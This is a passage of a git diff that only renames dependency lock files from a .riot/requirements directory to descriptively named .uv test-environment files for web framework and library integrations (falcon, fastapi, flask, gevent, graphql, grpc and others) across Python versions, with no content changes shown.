.riot/requirements/1f1e236.txt rename to .uv/contrib-falcon--falcon-py311-falcon-latest-falcon.txt diff --git a/.riot/requirements/1782179.txt b/.uv/contrib-falcon--falcon-py312-falcon-3-0-0-falcon.txt similarity index 100% rename from .riot/requirements/1782179.txt rename to .uv/contrib-falcon--falcon-py312-falcon-3-0-0-falcon.txt diff --git a/.riot/requirements/1f9dd35.txt b/.uv/contrib-falcon--falcon-py312-falcon-3-0-falcon.txt similarity index 100% rename from .riot/requirements/1f9dd35.txt rename to .uv/contrib-falcon--falcon-py312-falcon-3-0-falcon.txt diff --git a/.riot/requirements/161aef0.txt b/.uv/contrib-falcon--falcon-py312-falcon-latest-falcon.txt similarity index 100% rename from .riot/requirements/161aef0.txt rename to .uv/contrib-falcon--falcon-py312-falcon-latest-falcon.txt diff --git a/.riot/requirements/1842452.txt b/.uv/contrib-falcon--falcon-py313-falcon-4-0-falcon-2.txt similarity index 100% rename from .riot/requirements/1842452.txt rename to .uv/contrib-falcon--falcon-py313-falcon-4-0-falcon-2.txt diff --git a/.riot/requirements/38f510f.txt b/.uv/contrib-falcon--falcon-py313-falcon-latest-falcon-2.txt similarity index 100% rename from .riot/requirements/38f510f.txt rename to .uv/contrib-falcon--falcon-py313-falcon-latest-falcon-2.txt diff --git a/.riot/requirements/3bf076f.txt b/.uv/contrib-falcon--falcon-py314-falcon-4-0-falcon-2.txt similarity index 100% rename from .riot/requirements/3bf076f.txt rename to .uv/contrib-falcon--falcon-py314-falcon-4-0-falcon-2.txt diff --git a/.riot/requirements/8638dc9.txt b/.uv/contrib-falcon--falcon-py314-falcon-latest-falcon-2.txt similarity index 100% rename from .riot/requirements/8638dc9.txt rename to .uv/contrib-falcon--falcon-py314-falcon-latest-falcon-2.txt diff --git a/.riot/requirements/522a546.txt b/.uv/contrib-falcon--falcon-py39-falcon-3-0-0-falcon.txt similarity index 100% rename from .riot/requirements/522a546.txt rename to .uv/contrib-falcon--falcon-py39-falcon-3-0-0-falcon.txt diff --git a/.riot/requirements/1c21210.txt b/.uv/contrib-falcon--falcon-py39-falcon-3-0-falcon.txt similarity index 100% rename from .riot/requirements/1c21210.txt rename to .uv/contrib-falcon--falcon-py39-falcon-3-0-falcon.txt diff --git a/.riot/requirements/72c03ec.txt b/.uv/contrib-falcon--falcon-py39-falcon-latest-falcon.txt similarity index 100% rename from .riot/requirements/72c03ec.txt rename to .uv/contrib-falcon--falcon-py39-falcon-latest-falcon.txt diff --git a/.riot/requirements/9e9a4a0.txt b/.uv/contrib-fastapi--fastapi-py310-fastapi-0-64-0-fastapi.txt similarity index 100% rename from .riot/requirements/9e9a4a0.txt rename to .uv/contrib-fastapi--fastapi-py310-fastapi-0-64-0-fastapi.txt diff --git a/.riot/requirements/bd87c18.txt b/.uv/contrib-fastapi--fastapi-py310-fastapi-0-90-0-fastapi.txt similarity index 100% rename from .riot/requirements/bd87c18.txt rename to .uv/contrib-fastapi--fastapi-py310-fastapi-0-90-0-fastapi.txt diff --git a/.riot/requirements/1ce3960.txt b/.uv/contrib-fastapi--fastapi-py310-fastapi-latest-fastapi.txt similarity index 100% rename from .riot/requirements/1ce3960.txt rename to .uv/contrib-fastapi--fastapi-py310-fastapi-latest-fastapi.txt diff --git a/.riot/requirements/1c7e197.txt b/.uv/contrib-fastapi--fastapi-py311-fastapi-0-86-0-fastapi-anyio-gte-3-4-0-lt-4-0.txt similarity index 100% rename from .riot/requirements/1c7e197.txt rename to .uv/contrib-fastapi--fastapi-py311-fastapi-0-86-0-fastapi-anyio-gte-3-4-0-lt-4-0.txt diff --git a/.riot/requirements/122cffd.txt b/.uv/contrib-fastapi--fastapi-py311-fastapi-latest-fastapi-anyio-gte-3-4-0-lt-4-0.txt similarity index 100% rename from .riot/requirements/122cffd.txt rename to .uv/contrib-fastapi--fastapi-py311-fastapi-latest-fastapi-anyio-gte-3-4-0-lt-4-0.txt diff --git a/.riot/requirements/1d77f1d.txt b/.uv/contrib-fastapi--fastapi-py312-fastapi-0-86-0-fastapi-anyio-gte-3-4-0-lt-4-0.txt similarity index 100% rename from .riot/requirements/1d77f1d.txt rename to .uv/contrib-fastapi--fastapi-py312-fastapi-0-86-0-fastapi-anyio-gte-3-4-0-lt-4-0.txt diff --git a/.riot/requirements/12263ee.txt b/.uv/contrib-fastapi--fastapi-py312-fastapi-latest-fastapi-anyio-gte-3-4-0-lt-4-0.txt similarity index 100% rename from .riot/requirements/12263ee.txt rename to .uv/contrib-fastapi--fastapi-py312-fastapi-latest-fastapi-anyio-gte-3-4-0-lt-4-0.txt diff --git a/.riot/requirements/3569cf8.txt b/.uv/contrib-fastapi--fastapi-py313-fastapi-0-86-0-fastapi-anyio-gte-3-4-0-lt-4-0.txt similarity index 100% rename from .riot/requirements/3569cf8.txt rename to .uv/contrib-fastapi--fastapi-py313-fastapi-0-86-0-fastapi-anyio-gte-3-4-0-lt-4-0.txt diff --git a/.riot/requirements/162f3ce.txt b/.uv/contrib-fastapi--fastapi-py313-fastapi-latest-fastapi-anyio-gte-3-4-0-lt-4-0.txt similarity index 100% rename from .riot/requirements/162f3ce.txt rename to .uv/contrib-fastapi--fastapi-py313-fastapi-latest-fastapi-anyio-gte-3-4-0-lt-4-0.txt diff --git a/.riot/requirements/3fe78f9.txt b/.uv/contrib-fastapi--fastapi-py314-hypothesis-latest-fastapi-latest.txt similarity index 100% rename from .riot/requirements/3fe78f9.txt rename to .uv/contrib-fastapi--fastapi-py314-hypothesis-latest-fastapi-latest.txt diff --git a/.riot/requirements/1dc3684.txt b/.uv/contrib-fastapi--fastapi-py39-fastapi-0-64-0-fastapi.txt similarity index 100% rename from .riot/requirements/1dc3684.txt rename to .uv/contrib-fastapi--fastapi-py39-fastapi-0-64-0-fastapi.txt diff --git a/.riot/requirements/d5214d5.txt b/.uv/contrib-fastapi--fastapi-py39-fastapi-0-90-0-fastapi.txt similarity index 100% rename from .riot/requirements/d5214d5.txt rename to .uv/contrib-fastapi--fastapi-py39-fastapi-0-90-0-fastapi.txt diff --git a/.riot/requirements/173ba30.txt b/.uv/contrib-fastapi--fastapi-py39-fastapi-latest-fastapi.txt similarity index 100% rename from .riot/requirements/173ba30.txt rename to .uv/contrib-fastapi--fastapi-py39-fastapi-latest-fastapi.txt diff --git a/.riot/requirements/191bffe.txt b/.uv/contrib-flask--flask-cache-py310-flask-1-1-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/191bffe.txt rename to .uv/contrib-flask--flask-cache-py310-flask-1-1-flask-caching-1-10.txt diff --git a/.riot/requirements/30b65e2.txt b/.uv/contrib-flask--flask-cache-py310-flask-1-1-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/30b65e2.txt rename to .uv/contrib-flask--flask-cache-py310-flask-1-1-flask-caching-latest.txt diff --git a/.riot/requirements/1436100.txt b/.uv/contrib-flask--flask-cache-py310-flask-latest-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/1436100.txt rename to .uv/contrib-flask--flask-cache-py310-flask-latest-flask-caching-1-10.txt diff --git a/.riot/requirements/ef257ac.txt b/.uv/contrib-flask--flask-cache-py310-flask-latest-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/ef257ac.txt rename to .uv/contrib-flask--flask-cache-py310-flask-latest-flask-caching-latest.txt diff --git a/.riot/requirements/1949639.txt b/.uv/contrib-flask--flask-cache-py311-flask-1-1-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/1949639.txt rename to .uv/contrib-flask--flask-cache-py311-flask-1-1-flask-caching-1-10.txt diff --git a/.riot/requirements/91629cd.txt b/.uv/contrib-flask--flask-cache-py311-flask-1-1-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/91629cd.txt rename to .uv/contrib-flask--flask-cache-py311-flask-1-1-flask-caching-latest.txt diff --git a/.riot/requirements/8830759.txt b/.uv/contrib-flask--flask-cache-py311-flask-latest-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/8830759.txt rename to .uv/contrib-flask--flask-cache-py311-flask-latest-flask-caching-1-10.txt diff --git a/.riot/requirements/1bccebd.txt b/.uv/contrib-flask--flask-cache-py311-flask-latest-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/1bccebd.txt rename to .uv/contrib-flask--flask-cache-py311-flask-latest-flask-caching-latest.txt diff --git a/.riot/requirements/10bdae9.txt b/.uv/contrib-flask--flask-cache-py312-flask-1-1-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/10bdae9.txt rename to .uv/contrib-flask--flask-cache-py312-flask-1-1-flask-caching-1-10.txt diff --git a/.riot/requirements/ee80c7e.txt b/.uv/contrib-flask--flask-cache-py312-flask-1-1-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/ee80c7e.txt rename to .uv/contrib-flask--flask-cache-py312-flask-1-1-flask-caching-latest.txt diff --git a/.riot/requirements/1f23a69.txt b/.uv/contrib-flask--flask-cache-py312-flask-latest-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/1f23a69.txt rename to .uv/contrib-flask--flask-cache-py312-flask-latest-flask-caching-1-10.txt diff --git a/.riot/requirements/2164da7.txt b/.uv/contrib-flask--flask-cache-py312-flask-latest-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/2164da7.txt rename to .uv/contrib-flask--flask-cache-py312-flask-latest-flask-caching-latest.txt diff --git a/.riot/requirements/1819cb6.txt b/.uv/contrib-flask--flask-cache-py313-flask-1-1-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/1819cb6.txt rename to .uv/contrib-flask--flask-cache-py313-flask-1-1-flask-caching-1-10.txt diff --git a/.riot/requirements/1aed5dc.txt b/.uv/contrib-flask--flask-cache-py313-flask-1-1-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/1aed5dc.txt rename to .uv/contrib-flask--flask-cache-py313-flask-1-1-flask-caching-latest.txt diff --git a/.riot/requirements/114bad8.txt b/.uv/contrib-flask--flask-cache-py313-flask-latest-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/114bad8.txt rename to .uv/contrib-flask--flask-cache-py313-flask-latest-flask-caching-1-10.txt diff --git a/.riot/requirements/f20c964.txt b/.uv/contrib-flask--flask-cache-py313-flask-latest-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/f20c964.txt rename to .uv/contrib-flask--flask-cache-py313-flask-latest-flask-caching-latest.txt diff --git a/.riot/requirements/1aef832.txt b/.uv/contrib-flask--flask-cache-py39-flask-1-1-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/1aef832.txt rename to .uv/contrib-flask--flask-cache-py39-flask-1-1-flask-caching-1-10.txt diff --git a/.riot/requirements/724adbd.txt b/.uv/contrib-flask--flask-cache-py39-flask-1-1-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/724adbd.txt rename to .uv/contrib-flask--flask-cache-py39-flask-1-1-flask-caching-latest.txt diff --git a/.riot/requirements/1d10c25.txt b/.uv/contrib-flask--flask-cache-py39-flask-latest-flask-caching-1-10.txt similarity index 100% rename from .riot/requirements/1d10c25.txt rename to .uv/contrib-flask--flask-cache-py39-flask-latest-flask-caching-1-10.txt diff --git a/.riot/requirements/f66dc0b.txt b/.uv/contrib-flask--flask-cache-py39-flask-latest-flask-caching-latest.txt similarity index 100% rename from .riot/requirements/f66dc0b.txt rename to .uv/contrib-flask--flask-cache-py39-flask-latest-flask-caching-latest.txt diff --git a/.riot/requirements/1f5205e.txt b/.uv/contrib-flask--flask-cache-py39.txt similarity index 100% rename from .riot/requirements/1f5205e.txt rename to .uv/contrib-flask--flask-cache-py39.txt diff --git a/.riot/requirements/6dbf615.txt b/.uv/contrib-flask--flask-py310-flask-2.txt similarity index 100% rename from .riot/requirements/6dbf615.txt rename to .uv/contrib-flask--flask-py310-flask-2.txt diff --git a/.riot/requirements/e9e35ef.txt b/.uv/contrib-flask--flask-py310-flask-3.txt similarity index 100% rename from .riot/requirements/e9e35ef.txt rename to .uv/contrib-flask--flask-py310-flask-3.txt diff --git a/.riot/requirements/3cbe634.txt b/.uv/contrib-flask--flask-py310-flask-latest.txt similarity index 100% rename from .riot/requirements/3cbe634.txt rename to .uv/contrib-flask--flask-py310-flask-latest.txt diff --git a/.riot/requirements/e6872f6.txt b/.uv/contrib-flask--flask-py311-flask-2.txt similarity index 100% rename from .riot/requirements/e6872f6.txt rename to .uv/contrib-flask--flask-py311-flask-2.txt diff --git a/.riot/requirements/a3c3dfa.txt b/.uv/contrib-flask--flask-py311-flask-3.txt similarity index 100% rename from .riot/requirements/a3c3dfa.txt rename to .uv/contrib-flask--flask-py311-flask-3.txt diff --git a/.riot/requirements/1c6c710.txt b/.uv/contrib-flask--flask-py311-flask-latest.txt similarity index 100% rename from .riot/requirements/1c6c710.txt rename to .uv/contrib-flask--flask-py311-flask-latest.txt diff --git a/.riot/requirements/2b426ba.txt b/.uv/contrib-flask--flask-py312-flask-2.txt similarity index 100% rename from .riot/requirements/2b426ba.txt rename to .uv/contrib-flask--flask-py312-flask-2.txt diff --git a/.riot/requirements/1c53a7f.txt b/.uv/contrib-flask--flask-py312-flask-3.txt similarity index 100% rename from .riot/requirements/1c53a7f.txt rename to .uv/contrib-flask--flask-py312-flask-3.txt diff --git a/.riot/requirements/f3bee4b.txt b/.uv/contrib-flask--flask-py312-flask-latest.txt similarity index 100% rename from .riot/requirements/f3bee4b.txt rename to .uv/contrib-flask--flask-py312-flask-latest.txt diff --git a/.riot/requirements/f850b22.txt b/.uv/contrib-flask--flask-py313-flask-2.txt similarity index 100% rename from .riot/requirements/f850b22.txt rename to .uv/contrib-flask--flask-py313-flask-2.txt diff --git a/.riot/requirements/b29075f.txt b/.uv/contrib-flask--flask-py313-flask-3.txt similarity index 100% rename from .riot/requirements/b29075f.txt rename to .uv/contrib-flask--flask-py313-flask-3.txt diff --git a/.riot/requirements/e06abee.txt b/.uv/contrib-flask--flask-py313-flask-latest.txt similarity index 100% rename from .riot/requirements/e06abee.txt rename to .uv/contrib-flask--flask-py313-flask-latest.txt diff --git a/.riot/requirements/10e2453.txt b/.uv/contrib-flask--flask-py314-flask-2.txt similarity index 100% rename from .riot/requirements/10e2453.txt rename to .uv/contrib-flask--flask-py314-flask-2.txt diff --git a/.riot/requirements/9da4f77.txt b/.uv/contrib-flask--flask-py314-flask-3.txt similarity index 100% rename from .riot/requirements/9da4f77.txt rename to .uv/contrib-flask--flask-py314-flask-3.txt diff --git a/.riot/requirements/1567689.txt b/.uv/contrib-flask--flask-py314-flask-latest.txt similarity index 100% rename from .riot/requirements/1567689.txt rename to .uv/contrib-flask--flask-py314-flask-latest.txt diff --git a/.riot/requirements/c3912b5.txt b/.uv/contrib-flask--flask-py39-flask-1-autopatch.txt similarity index 100% rename from .riot/requirements/c3912b5.txt rename to .uv/contrib-flask--flask-py39-flask-1-autopatch.txt diff --git a/.riot/requirements/19f3b8d.txt b/.uv/contrib-flask--flask-py39-flask-1.txt similarity index 100% rename from .riot/requirements/19f3b8d.txt rename to .uv/contrib-flask--flask-py39-flask-1.txt diff --git a/.riot/requirements/116b0a1.txt b/.uv/contrib-flask--flask-py39-flask-2.txt similarity index 100% rename from .riot/requirements/116b0a1.txt rename to .uv/contrib-flask--flask-py39-flask-2.txt diff --git a/.riot/requirements/1b1c34d.txt b/.uv/contrib-flask--flask-py39-flask-3.txt similarity index 100% rename from .riot/requirements/1b1c34d.txt rename to .uv/contrib-flask--flask-py39-flask-3.txt diff --git a/.riot/requirements/fcfaa6e.txt b/.uv/contrib-flask--flask-py39-flask-latest.txt similarity index 100% rename from .riot/requirements/fcfaa6e.txt rename to .uv/contrib-flask--flask-py39-flask-latest.txt diff --git a/.riot/requirements/672a50f.txt b/.uv/contrib-gevent--gevent-py310-gevent-21-12-0-gevent.txt similarity index 100% rename from .riot/requirements/672a50f.txt rename to .uv/contrib-gevent--gevent-py310-gevent-21-12-0-gevent.txt diff --git a/.riot/requirements/40aa3b2.txt b/.uv/contrib-gevent--gevent-py310-gevent-latest-gevent.txt similarity index 100% rename from .riot/requirements/40aa3b2.txt rename to .uv/contrib-gevent--gevent-py310-gevent-latest-gevent.txt diff --git a/.riot/requirements/114bf76.txt b/.uv/contrib-gevent--gevent-py311-gevent-22-10-0-gevent-2.txt similarity index 100% rename from .riot/requirements/114bf76.txt rename to .uv/contrib-gevent--gevent-py311-gevent-22-10-0-gevent-2.txt diff --git a/.riot/requirements/10f41c3.txt b/.uv/contrib-gevent--gevent-py311-gevent-latest-gevent-2.txt similarity index 100% rename from .riot/requirements/10f41c3.txt rename to .uv/contrib-gevent--gevent-py311-gevent-latest-gevent-2.txt diff --git a/.riot/requirements/5b8161f.txt b/.uv/contrib-gevent--gevent-py312-gevent-latest.txt similarity index 100% rename from .riot/requirements/5b8161f.txt rename to .uv/contrib-gevent--gevent-py312-gevent-latest.txt diff --git a/.riot/requirements/c5a1aac.txt b/.uv/contrib-gevent--gevent-py313-gevent-latest.txt similarity index 100% rename from .riot/requirements/c5a1aac.txt rename to .uv/contrib-gevent--gevent-py313-gevent-latest.txt diff --git a/.riot/requirements/172a329.txt b/.uv/contrib-gevent--gevent-py314-gevent-latest.txt similarity index 100% rename from .riot/requirements/172a329.txt rename to .uv/contrib-gevent--gevent-py314-gevent-latest.txt diff --git a/.riot/requirements/19d94ed.txt b/.uv/contrib-gevent--gevent-py39-gevent-21-1-0-gevent-greenlet-1-0.txt similarity index 100% rename from .riot/requirements/19d94ed.txt rename to .uv/contrib-gevent--gevent-py39-gevent-21-1-0-gevent-greenlet-1-0.txt diff --git a/.riot/requirements/f849aca.txt b/.uv/contrib-gevent--gevent-py39-gevent-lt-21-8-0-gevent-greenlet-1-0.txt similarity index 100% rename from .riot/requirements/f849aca.txt rename to .uv/contrib-gevent--gevent-py39-gevent-lt-21-8-0-gevent-greenlet-1-0.txt diff --git a/.riot/requirements/147a89a.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py310-google-cloud-pubsub-2-10-0-google-cloud-pubsub.txt similarity index 100% rename from .riot/requirements/147a89a.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py310-google-cloud-pubsub-2-10-0-google-cloud-pubsub.txt diff --git a/.riot/requirements/17513e7.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py310-google-cloud-pubsub-latest-google-cloud-pubsub.txt similarity index 100% rename from .riot/requirements/17513e7.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py310-google-cloud-pubsub-latest-google-cloud-pubsub.txt diff --git a/.riot/requirements/8b1a0d1.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py311-google-cloud-pubsub-2-10-0-google-cloud-pubsub.txt similarity index 100% rename from .riot/requirements/8b1a0d1.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py311-google-cloud-pubsub-2-10-0-google-cloud-pubsub.txt diff --git a/.riot/requirements/1aa7e48.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py311-google-cloud-pubsub-latest-google-cloud-pubsub.txt similarity index 100% rename from .riot/requirements/1aa7e48.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py311-google-cloud-pubsub-latest-google-cloud-pubsub.txt diff --git a/.riot/requirements/933558b.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py312-google-cloud-pubsub-2-14-0-google-cloud-pubsub-2.txt similarity index 100% rename from .riot/requirements/933558b.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py312-google-cloud-pubsub-2-14-0-google-cloud-pubsub-2.txt diff --git a/.riot/requirements/4b23d25.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py312-google-cloud-pubsub-latest-google-cloud-pubsub-2.txt similarity index 100% rename from .riot/requirements/4b23d25.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py312-google-cloud-pubsub-latest-google-cloud-pubsub-2.txt diff --git a/.riot/requirements/9b48cd8.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py313-google-cloud-pubsub-latest.txt similarity index 100% rename from .riot/requirements/9b48cd8.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py313-google-cloud-pubsub-latest.txt diff --git a/.riot/requirements/1b95281.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py314-google-cloud-pubsub-latest.txt similarity index 100% rename from .riot/requirements/1b95281.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py314-google-cloud-pubsub-latest.txt diff --git a/.riot/requirements/1a862f5.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py39-google-cloud-pubsub-2-10-0-google-cloud-pubsub.txt similarity index 100% rename from .riot/requirements/1a862f5.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py39-google-cloud-pubsub-2-10-0-google-cloud-pubsub.txt diff --git a/.riot/requirements/e26d820.txt b/.uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py39-google-cloud-pubsub-latest-google-cloud-pubsub.txt similarity index 100% rename from .riot/requirements/e26d820.txt rename to .uv/contrib-google-cloud-pubsub--google-cloud-pubsub-py39-google-cloud-pubsub-latest-google-cloud-pubsub.txt diff --git a/.riot/requirements/1a6cf31.txt b/.uv/contrib-graphql--graphql-py310-graphql-core-3-2-0.txt similarity index 100% rename from .riot/requirements/1a6cf31.txt rename to .uv/contrib-graphql--graphql-py310-graphql-core-3-2-0.txt diff --git a/.riot/requirements/432f978.txt b/.uv/contrib-graphql--graphql-py310-graphql-core-latest.txt similarity index 100% rename from .riot/requirements/432f978.txt rename to .uv/contrib-graphql--graphql-py310-graphql-core-latest.txt diff --git a/.riot/requirements/f3bb079.txt b/.uv/contrib-graphql--graphql-py311-graphql-core-3-2-0.txt similarity index 100% rename from .riot/requirements/f3bb079.txt rename to .uv/contrib-graphql--graphql-py311-graphql-core-3-2-0.txt diff --git a/.riot/requirements/94de9f8.txt b/.uv/contrib-graphql--graphql-py311-graphql-core-latest.txt similarity index 100% rename from .riot/requirements/94de9f8.txt rename to .uv/contrib-graphql--graphql-py311-graphql-core-latest.txt diff --git a/.riot/requirements/6682e06.txt b/.uv/contrib-graphql--graphql-py312-graphql-core-3-2-0.txt similarity index 100% rename from .riot/requirements/6682e06.txt rename to .uv/contrib-graphql--graphql-py312-graphql-core-3-2-0.txt diff --git a/.riot/requirements/2953aa1.txt b/.uv/contrib-graphql--graphql-py312-graphql-core-latest.txt similarity index 100% rename from .riot/requirements/2953aa1.txt rename to .uv/contrib-graphql--graphql-py312-graphql-core-latest.txt diff --git a/.riot/requirements/27e3d7b.txt b/.uv/contrib-graphql--graphql-py313-graphql-core-3-2-0.txt similarity index 100% rename from .riot/requirements/27e3d7b.txt rename to .uv/contrib-graphql--graphql-py313-graphql-core-3-2-0.txt diff --git a/.riot/requirements/2dd0811.txt b/.uv/contrib-graphql--graphql-py313-graphql-core-latest.txt similarity index 100% rename from .riot/requirements/2dd0811.txt rename to .uv/contrib-graphql--graphql-py313-graphql-core-latest.txt diff --git a/.riot/requirements/4c41c56.txt b/.uv/contrib-graphql--graphql-py314-graphql-core-3-2-0.txt similarity index 100% rename from .riot/requirements/4c41c56.txt rename to .uv/contrib-graphql--graphql-py314-graphql-core-3-2-0.txt diff --git a/.riot/requirements/6e616b1.txt b/.uv/contrib-graphql--graphql-py314-graphql-core-latest.txt similarity index 100% rename from .riot/requirements/6e616b1.txt rename to .uv/contrib-graphql--graphql-py314-graphql-core-latest.txt diff --git a/.riot/requirements/605a6de.txt b/.uv/contrib-graphql--graphql-py39-graphql-core-3-2-0.txt similarity index 100% rename from .riot/requirements/605a6de.txt rename to .uv/contrib-graphql--graphql-py39-graphql-core-3-2-0.txt diff --git a/.riot/requirements/191cea2.txt b/.uv/contrib-graphql--graphql-py39-graphql-core-latest.txt similarity index 100% rename from .riot/requirements/191cea2.txt rename to .uv/contrib-graphql--graphql-py39-graphql-core-latest.txt diff --git a/.riot/requirements/2975d9e.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py310-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/2975d9e.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py310-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/17df13b.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py310-graphene-latest-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/17df13b.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py310-graphene-latest-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/b5e9131.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py311-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/b5e9131.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py311-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/12b9587.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py311-graphene-latest-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/12b9587.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py311-graphene-latest-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/2cfada2.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py312-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/2cfada2.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py312-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/1bdb819.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py312-graphene-latest-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/1bdb819.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py312-graphene-latest-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/9cea290.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py313-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/9cea290.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py313-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/a944bde.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py313-graphene-latest-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/a944bde.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py313-graphene-latest-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/bef9b3d.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py314-graphene-latest-pytest-asyncio-gte-1-0.txt similarity index 100% rename from .riot/requirements/bef9b3d.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py314-graphene-latest-pytest-asyncio-gte-1-0.txt diff --git a/.riot/requirements/171e4a4.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py39-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/171e4a4.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py39-graphene-3-0-0-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/d33fd55.txt b/.uv/contrib-graphql-graphene--graphql-graphene-py39-graphene-latest-graphene-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/d33fd55.txt rename to .uv/contrib-graphql-graphene--graphql-graphene-py39-graphene-latest-graphene-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/51d9412.txt b/.uv/contrib-grpc--grpc-grpc-aio-py310-grpcio-1-42-0-grpcio-pytest-asyncio-0-23-7-3.txt similarity index 100% rename from .riot/requirements/51d9412.txt rename to .uv/contrib-grpc--grpc-grpc-aio-py310-grpcio-1-42-0-grpcio-pytest-asyncio-0-23-7-3.txt diff --git a/.riot/requirements/1591bf5.txt b/.uv/contrib-grpc--grpc-grpc-aio-py310-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7-3.txt similarity index 100% rename from .riot/requirements/1591bf5.txt rename to .uv/contrib-grpc--grpc-grpc-aio-py310-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7-3.txt diff --git a/.riot/requirements/16bd71d.txt b/.uv/contrib-grpc--grpc-grpc-aio-py311-grpcio-1-49-0-grpcio-pytest-asyncio-0-23-7-4.txt similarity index 100% rename from .riot/requirements/16bd71d.txt rename to .uv/contrib-grpc--grpc-grpc-aio-py311-grpcio-1-49-0-grpcio-pytest-asyncio-0-23-7-4.txt diff --git a/.riot/requirements/53b1ba3.txt b/.uv/contrib-grpc--grpc-grpc-aio-py311-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7-4.txt similarity index 100% rename from .riot/requirements/53b1ba3.txt rename to .uv/contrib-grpc--grpc-grpc-aio-py311-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7-4.txt diff --git a/.riot/requirements/173260e.txt b/.uv/contrib-grpc--grpc-grpc-aio-py39-grpcio-1-34-0-grpcio-pytest-asyncio-0-23-7-2.txt similarity index 100% rename from .riot/requirements/173260e.txt rename to .uv/contrib-grpc--grpc-grpc-aio-py39-grpcio-1-34-0-grpcio-pytest-asyncio-0-23-7-2.txt diff --git a/.riot/requirements/c8ba76f.txt b/.uv/contrib-grpc--grpc-grpc-aio-py39-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7-2.txt similarity index 100% rename from .riot/requirements/c8ba76f.txt rename to .uv/contrib-grpc--grpc-grpc-aio-py39-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7-2.txt diff --git a/.riot/requirements/3d84480.txt b/.uv/contrib-grpc--grpc-py310-grpcio-1-42-0-grpcio-2.txt similarity index 100% rename from 